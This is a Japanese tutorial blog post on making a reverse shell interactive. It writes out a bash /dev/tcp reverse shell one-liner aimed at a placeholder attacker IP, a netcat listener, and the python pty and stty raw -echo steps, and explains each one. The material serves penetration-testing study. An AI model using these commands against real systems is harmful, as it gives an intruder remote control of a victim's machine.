⚙️

リバースシェルを使いやすくする

に公開

bash -i >& /dev/tcp/攻撃者のipアドレス/ポート番号 0>&1

netcat -lvnp 4242

のようなリバースシェルでは、↑キーを押しても ^[[A のような文字が出るし、タブキーを押してもディレクトリの補完をしてくれないから使いにくい。

このような現象(ダムシェル)を回避するための試行錯誤。

参考: https://www.amazon.co.jp/dp/4798174572

ダムシェルを修正する一連の流れ

Aを被攻撃者のマシン、Bを攻撃者のマシンとする。

  1. リバースシェルの接続
  • bash -c 'bash -i >& /dev/tcp/攻撃者のipアドレス/ポート番号 0>&1' A
  • netcat -lvnp 4242 B
    で接続。
  1. ダムシェルの修正
    Bの画面で以下の内容を上から順番に実行。
  • python -c 'import pty; pty.spawn("/bin/bash")'
  • Ctrl+Z (接続が確認された後に実行)
  • stty raw -echo;fg (Bのローカルマシンで実行する形になるが気にせず、入力→実行)
  • (何も画面が出ないがエンターキーを入力)

でタブ補完や、十字キーでのターミナルの操作が可能(vimなども動作可能)

bash -cの意味

bash -c 'コマンド'のように使う。

新しいbashプロセスを起動して、''内に入力したコマンドを実行する。

つまりこれ↓は、

bash -c 'bash -i >& /dev/tcp/攻撃者のipアドレス/ポート番号 0&>1'

bashシェル内の新しいbashプロセスで、攻撃者のマシンに接続を行っている。

(接続先のマシンがbashシェルで動いているのであれば、新しいbashを作成しなくてもOK。>&のリダイレクト構文が解釈できるシェルがあることが判断基準)

python -c 'import pty; pty.spawn("/bin/bash")'

擬似端末(pty)を起動するのに必要。

疑似端末の説明は省略するが、これでダムシェルの問題を解決できる手段を得られる。

Ctrl+Z

Ctrl+Zを入力すると、リバースシェルの実行が中断されるため、同時に接続が中断される。

直感的には、マシンAのプロセスを中止できそうだが、マシンBのプロセスに対するCtrl+Zのシグナルの送付が優先されるので、マシンAの実行を中断できない。

つまりマシンBの実行(リバースシェル)が中断されるので、マシンAの実行を中断できない。

この時接続が解除されたように見えるが、Ctrl+Zはプロセスの一時中断のため実際には、接続が中断されているだけなので安心。(中断なので再開できる)

stty raw -echo;fg

stty raw -echoはターミナルを「生の状態にし、入力した文字内容を画面に表示しない設定」にする。

stty rawは、端末の入力した文字をそのままOSに渡す役割。

入力した情報をそのままコンピュータに送るということなので、Ctrl+Cなどの強制終了のコマンドもそのまま文字列として送られる。これにより実行した処理の強制終了ができなくなる。

また改行処理も若干変わり、改行を含んだコマンドの表示がおかしくなる。

-echoは、ユーザーが入力した文字を画面に表示しない設定。実際にstty -echoをすると、入力したコマンドの文字列が表示されなくなる。

この設定により、ターミナルに何を入力しても何も画面に出力されないし、普段文章を打つときに使っている一部キーが意図通りに入力できなくなる。

自分のマシンでこれをすることで何が幸せなのかというと....

;fgはフォアグラウンドを起動。(;はコマンドで次のコマンドの意味)

フォアグラウンドは、前面に出ているプログラムのこと。linuxのコマンドの場合、中断したプロセスを再起動できる。何か他のことをしていなければ、中断したリバースシェルの接続がプログラムとして残っているので、reverse shell のプロセスを復活 → 再接続を行うことができる。

小まとめ

ここまでで、相手のマシンのターミナルの設定を変更したように思えないが、実はこれで良い。

ミソはstty raw -echoの、「入力した情報をそのままコンピュータに送る」+「入力を画面に表示しない」

「入力した情報をそのままコンピュータに送る」によってCtrl+Zのような情報が、マシンBに優先されなくなる。(文字列をそのままBのマシンに送っているだけなので、中断のシグナルが優先されない)

「入力を画面に表示しない」によって、マシンBで表示される入力情報が表示されなくなり、マシンAからの出力が明瞭になる※。

なお;fgで1行のコマンドにしているのは、stty raw -echoによって入力した内容が表示されず、何をしているのかわからない部分を防ぐため。

(何も画面が出ないがエンターキーを入力)

リバースシェルが再開しても、一度目はプロンプトが表示されないため、エンターキーを1回押すことで正常なプロンプトを画面に表示させる。

エンターを押す前から若干表示はおかしいが、stty raw -echo;fgを実行した時点で、元のリバースシェルに戻っているのでコマンドの入力を受け付けている。

まとめ

  • python -c 'import pty; pty.spawn("/bin/bash")'
    疑似端末の起動により、履歴機能やタブキーによる補完機能を有効にする。

  • Ctrl+Z & stty raw -echo;fg
    再接続によるリバースシェルの視認性の向上+シグナルの送付を可能にする。

その他備考

  • 「入力を画面に表示しない」によって、マシンBで表示される入力情報が表示されなくなり、マシンAからの出力が明瞭になる※。について

stty raw -echo-echoの役割について

stty rawで再度リバースシェルの状態にすると、Aの端末に入力した情報と、Bの端末に入力した情報の両方が表示され、二重表現になる

例: lsllss

これは、マシンAのbashの入力と出力の表示と、マシンBの入力と出力の表示が同時にターミナル上で表現されるため。

リバースシェルでは攻撃先のマシンAの情報が見えればいいので、マシンBの入力したコマンドが見えない方が良い。なのでマシンBでstty raw -echoを実行する。

Discussion